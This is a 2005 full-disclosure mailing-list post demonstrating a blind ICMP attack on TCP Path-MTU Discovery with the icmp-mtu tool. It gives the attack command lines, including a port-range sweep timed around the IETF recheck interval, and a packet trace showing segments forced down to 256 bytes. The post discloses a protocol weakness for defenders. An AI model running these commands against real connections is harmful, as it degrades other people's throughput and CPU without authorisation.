Message-ID: <6.2.0.14.0.20050720091629.04a5c998@pop.frh.utn.edu.ar>
Date: Wed, 20 Jul 2005 09:18:01 -0300
From: Fernando Gont <fernando@....utn.edu.ar>
To: bugtraq@...urityfocus.com,full-disclosure@...ts.grok.org.uk
Subject: ICMP-based blind performance-degrading attack


Folks,

Another trivial ICMP-based attack. We'll use the tool icmp-mtu, available 
at http://www.gont.com.ar/tools/icmp-attacks

We'll perform the blind performance-degrading attack described in 
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html as the "Attack 
against the Path-MTU Discovery mechanism".

The attack will fool a TCP end-point into thinking it is sending packets 
that are larger than the current PMTU. Therefore, that TCP endpoint will 
reduce the size of the packets it sends. This has a two-fold effect:
a) The "performance" of the transfer will be lower, as there will be much 
more overhead (i.e. the data/headers ratio will be lower).
b) The CPU utilization of the involved systems will increase: The same data 
transfer rate will require much more packets (as TCP would be sending 
smaller packets). In most systems, every time a packet arrives, it causes 
an IRQ (Interrupt ReQuest) to be issued. Thus, increasing the packet rate 
will increase the CPU utilization. If the packet rate is not increased, 
guess what throughput you can get with 68-byte packets.
:-)

Scenario:
Web-browser (at 10.0.0.1, TCP port 1024) is downloading a big file from a 
web-server (at 192.168.0.1, TCP port 80)

For simplicity-sake, let's assume we know the four-tuple that identifies 
the connection. (If we don't, that's no problem: we can make icmp-mtu try 
all the possible combinations).

Let's perform the attack:

# icmp-mtu -c 10.0.0.1:3028 -s 192.168.0.1:80 -t server -r 56 -m 296

(The client is at 10.0.0.1, TCP port 3028. The server is at 192.168.0.1, 
TCP port 80. Let's attack the server. Limit the throughput used for the 
attack to 56 kbps. Set the Path-MTU to 296 bytes)
(The lowest value allowed by the specifications is 68. However, some 
implementations (such as the one I used for this test) will not honor ICMP 
messages that claim MTUs smaller than 296)

Here's the packet trace:

07:33:33.450711 192.168.0.1.80 > 10.0.0.1.3028: . 55381:56801(1420) ack 0 
win 17040 (DF) (ttl 64, id 46716)
07:33:33.766220 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 48281 
win 9940 (DF) (ttl 117, id 55756)
07:33:33.766241 192.168.0.1.80 > 10.0.0.1.3028: . 56801:58221(1420) ack 0 
win 17040 (DF) (ttl 64, id 64806)
07:33:33.770295 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 49701 
win 9940 (DF) (ttl 117, id 55758)
07:33:33.770318 192.168.0.1.80 > 10.0.0.1.3028: . 58221:59641(1420) ack 0 
win 17040 (DF) (ttl 64, id 37411)
07:33:34.203906 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 51121 
win 9940 (DF) (ttl 117, id 55760)
07:33:34.203962 192.168.0.1.80 > 10.0.0.1.3028: . 59641:61061(1420) ack 0 
win 17040 (DF) (ttl 64, id 49486)
07:33:34.378908 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 52541 
win 9940 (DF) (ttl 117, id 55761)
07:33:34.378933 192.168.0.1.80 > 10.0.0.1.3028: . 61061:62481(1420) ack 0 
win 17040 (DF) (ttl 64, id 54369)
07:33:34.429296 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 53961 
win 9940 (DF) (ttl 117, id 55762)
07:33:34.429318 192.168.0.1.80 > 10.0.0.1.3028: . 62481:63901(1420) ack 0 
win 17040 (DF) (ttl 64, id 38867)
07:33:34.769519 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 55381 
win 9940 (DF) (ttl 117, id 55764)
07:33:34.769565 192.168.0.1.80 > 10.0.0.1.3028: . 63901:65321(1420) ack 0 
win 17040 (DF) (ttl 64, id 45655)
07:33:35.110200 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 56801 
win 9940 (DF) (ttl 117, id 55765)
07:33:35.110259 192.168.0.1.80 > 10.0.0.1.3028: . 65321:66741(1420) ack 0 
win 17040 (DF) (ttl 64, id 47463)
07:33:35.113291 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 58221 
win 9940 (DF) (ttl 117, id 55766)
07:33:35.113314 192.168.0.1.80 > 10.0.0.1.3028: . 66741:68161(1420) ack 0 
win 17040 (DF) (ttl 64, id 52075)
07:33:35.510370 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 59641 
win 9940 (DF) (ttl 117, id 55769)
07:33:35.510393 192.168.0.1.80 > 10.0.0.1.3028: . 68161:69581(1420) ack 0 
win 17040 (DF) (ttl 64, id 50555)
07:33:35.687634 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 61061 
win 9940 (DF) (ttl 117, id 55770)
07:33:35.687656 192.168.0.1.80 > 10.0.0.1.3028: . 69581:71001(1420) ack 0 
win 17040 (DF) (ttl 64, id 61555)
07:33:36.009372 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 62481 
win 9940 (DF) (ttl 117, id 55771)
07:33:36.009398 192.168.0.1.80 > 10.0.0.1.3028: . 71001:72421(1420) ack 0 
win 17040 (DF) (ttl 64, id 34296)
07:33:36.180815 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 63901 
win 9940 (DF) (ttl 117, id 55773)
07:33:36.180873 192.168.0.1.80 > 10.0.0.1.3028: . 72421:73841(1420) ack 0 
win 17040 (DF) (ttl 64, id 53575)
07:33:36.506718 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 65321 
win 9940 (DF) (ttl 117, id 55774)
07:33:36.506743 192.168.0.1.80 > 10.0.0.1.3028: . 73841:75261(1420) ack 0 
win 17040 (DF) (ttl 64, id 34721)
07:33:36.510804 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 66741 
win 9940 (DF) (ttl 117, id 55775)
07:33:36.510827 192.168.0.1.80 > 10.0.0.1.3028: . 75261:76681(1420) ack 0 
win 17040 (DF) (ttl 64, id 34894)
07:33:37.004635 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 68161 
win 9940 (DF) (ttl 117, id 55777)
07:33:37.004695 192.168.0.1.80 > 10.0.0.1.3028: . 76681:78101(1420) ack 0 
win 17040 (DF) (ttl 64, id 44036)
07:33:37.008756 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 69581 
win 9940 (DF) (ttl 117, id 55778)
07:33:37.008779 192.168.0.1.80 > 10.0.0.1.3028: . 78101:79521(1420) ack 0 
win 17040 (DF) (ttl 64, id 47291)
07:33:37.213783 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 71001 
win 9940 (DF) (ttl 117, id 55779)
07:33:37.213844 192.168.0.1.80 > 10.0.0.1.3028: . 79521:80941(1420) ack 0 
win 17040 (DF) (ttl 64, id 37137)

Up to this point, "everything was okay".


07:33:37.222434 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need 
to frag (mtu 296) (ttl 232, id 5693)

Here's the point in which our tool is run.

 From here, till the end of the transfer, you see the effect of the attack: 
each TCP segment carries 256 bytes of data, making for (20-byte IP header + 
20-byte TCP header + 256-byte data payload = 296-byte packet).



07:33:37.222472 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0 
win 17040 (DF) (ttl 64, id 58749)
07:33:37.222578 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0 
win 17040 (DF) (ttl 64, id 51033)
07:33:37.222845 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0 
win 17040 (DF) (ttl 64, id 32798)
07:33:37.223118 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0 
win 17040 (DF) (ttl 64, id 41766)
07:33:37.778893 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need 
to frag (mtu 296) (ttl 221, id 2124)
07:33:37.778917 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0 
win 17040 (DF) (ttl 64, id 36548)
07:33:37.779022 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0 
win 17040 (DF) (ttl 64, id 61732)
07:33:37.779290 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0 
win 17040 (DF) (ttl 64, id 51438)
07:33:37.779563 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0 
win 17040 (DF) (ttl 64, id 40154)
07:33:37.804701 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 72421 
win 9940 (DF) (ttl 117, id 55782)
07:33:37.804726 192.168.0.1.80 > 10.0.0.1.3028: . 72421:72677(256) ack 0 
win 17040 (DF) (ttl 64, id 59091)
07:33:37.804829 192.168.0.1.80 > 10.0.0.1.3028: . 72677:72933(256) ack 0 
win 17040 (DF) (ttl 64, id 53746)
07:33:37.805098 192.168.0.1.80 > 10.0.0.1.3028: . 72933:73189(256) ack 0 
win 17040 (DF) (ttl 64, id 48719)
07:33:37.805371 192.168.0.1.80 > 10.0.0.1.3028: . 73189:73445(256) ack 0 
win 17040 (DF) (ttl 64, id 37796)
07:33:38.000265 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 73841 
win 9940 (DF) (ttl 117, id 55783)
07:33:38.000287 192.168.0.1.80 > 10.0.0.1.3028: . 73841:74097(256) ack 0 
win 17040 (DF) (ttl 64, id 65040)
07:33:38.000391 192.168.0.1.80 > 10.0.0.1.3028: . 74097:74353(256) ack 0 
win 17040 (DF) (ttl 64, id 50520)
07:33:38.000660 192.168.0.1.80 > 10.0.0.1.3028: . 74353:74609(256) ack 0 
win 17040 (DF) (ttl 64, id 37744)
07:33:38.000933 192.168.0.1.80 > 10.0.0.1.3028: . 74609:74865(256) ack 0 
win 17040 (DF) (ttl 64, id 49194)
07:33:38.001205 192.168.0.1.80 > 10.0.0.1.3028: . 74865:75121(256) ack 0 
win 17040 (DF) (ttl 64, id 35292)
07:33:38.001478 192.168.0.1.80 > 10.0.0.1.3028: . 75121:75377(256) ack 0 
win 17040 (DF) (ttl 64, id 35405)
07:33:38.001751 192.168.0.1.80 > 10.0.0.1.3028: . 75377:75633(256) ack 0 
win 17040 (DF) (ttl 64, id 50111)
07:33:38.002024 192.168.0.1.80 > 10.0.0.1.3028: . 75633:75889(256) ack 0 
win 17040 (DF) (ttl 64, id 63637)
07:33:38.002297 192.168.0.1.80 > 10.0.0.1.3028: . 75889:76145(256) ack 0 
win 17040 (DF) (ttl 64, id 37723)
07:33:38.099395 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 75261 
win 9940 (DF) (ttl 117, id 55784)
07:33:38.099413 192.168.0.1.80 > 10.0.0.1.3028: . 76145:76401(256) ack 0 
win 17040 (DF) (ttl 64, id 44236)
07:33:38.099518 192.168.0.1.80 > 10.0.0.1.3028: . 76401:76657(256) ack 0 
win 17040 (DF) (ttl 64, id 58026)
07:33:38.099786 192.168.0.1.80 > 10.0.0.1.3028: . 76657:76913(256) ack 0 
win 17040 (DF) (ttl 64, id 55844)
07:33:38.100058 192.168.0.1.80 > 10.0.0.1.3028: . 76913:77169(256) ack 0 
win 17040 (DF) (ttl 64, id 53944)
07:33:38.295212 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 76681 
win 9940 (DF) (ttl 117, id 55786)
07:33:38.295271 192.168.0.1.80 > 10.0.0.1.3028: . 77169:77425(256) ack 0 
win 17040 (DF) (ttl 64, id 50067)
07:33:38.295377 192.168.0.1.80 > 10.0.0.1.3028: . 77425:77681(256) ack 0 
win 17040 (DF) (ttl 64, id 50320)
07:33:38.295645 192.168.0.1.80 > 10.0.0.1.3028: . 77681:77937(256) ack 0 
win 17040 (DF) (ttl 64, id 46302)
07:33:38.295918 192.168.0.1.80 > 10.0.0.1.3028: . 77937:78193(256) ack 0 
win 17040 (DF) (ttl 64, id 35011)
07:33:38.296190 192.168.0.1.80 > 10.0.0.1.3028: . 78193:78449(256) ack 0 
win 17040 (DF) (ttl 64, id 33938)
07:33:38.296463 192.168.0.1.80 > 10.0.0.1.3028: . 78449:78705(256) ack 0 
win 17040 (DF) (ttl 64, id 34572)
07:33:38.296736 192.168.0.1.80 > 10.0.0.1.3028: . 78705:78961(256) ack 0 
win 17040 (DF) (ttl 64, id 50867)
07:33:38.297009 192.168.0.1.80 > 10.0.0.1.3028: . 78961:79217(256) ack 0 
win 17040 (DF) (ttl 64, id 49460)
07:33:38.297282 192.168.0.1.80 > 10.0.0.1.3028: . 79217:79473(256) ack 0 
win 17040 (DF) (ttl 64, id 54046)
07:33:38.297554 192.168.0.1.80 > 10.0.0.1.3028: . [tcp sum ok] 
79473:79497(24) ack 0 win 17040 (DF) (ttl 64, id 57102)


If you keep an eye on the data throughput, you'll see it has decreased 
considerably. If the server had a high-bandwidth communications link, you'd 
notice the increase in the CPU utilization, too.


Let's now say we don't know the client port number. But we know the server 
is running Windows, which chooses the "outgoing" port numbers from the 
range 1024-4999.

# icmp-mtu -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 56 -D 300 
-m 296


So we know specify with the "-c" option a port range for the client 
(1024-4999). The "-s" option is the same as before. The "-r" option is the 
same as before, too. We have added the "-D" option. It means: "after trying 
all the possible combinations, sleep for 300 seconds before doing another 
round". The "-m 296" tell icmp-mtu to set the Path-MTU to 296 bytes (if you 
don't specify this option, the MTU will be set to the smallest possible 
value: 68)

Recall that the IETF specifications recommend to wait for ten minutes 
before trying to increase the Path-MTU. So after making the server reduce 
the size of its packets, we will sleep for 300 seconds (5 minutes), before 
attacking again. Another option could have been to not sleep after each 
round, but use some ridiculous (low) bandwidth for the attack.

Hint: Some people have reported "strange behaviour" when some 
implementations receive ICMP packets that claim MTUs smaller that 68 (maybe 
MTUs = 0). But this is an implementation bug, and I'm more concerned with 
IETF-compliant implementations.

P.S.: Attacks explained in the internet-draft available at 
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html

Kindest regards,

--
Fernando Gont
e-mail: fernando@...t.com.ar || fgont@....org





_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists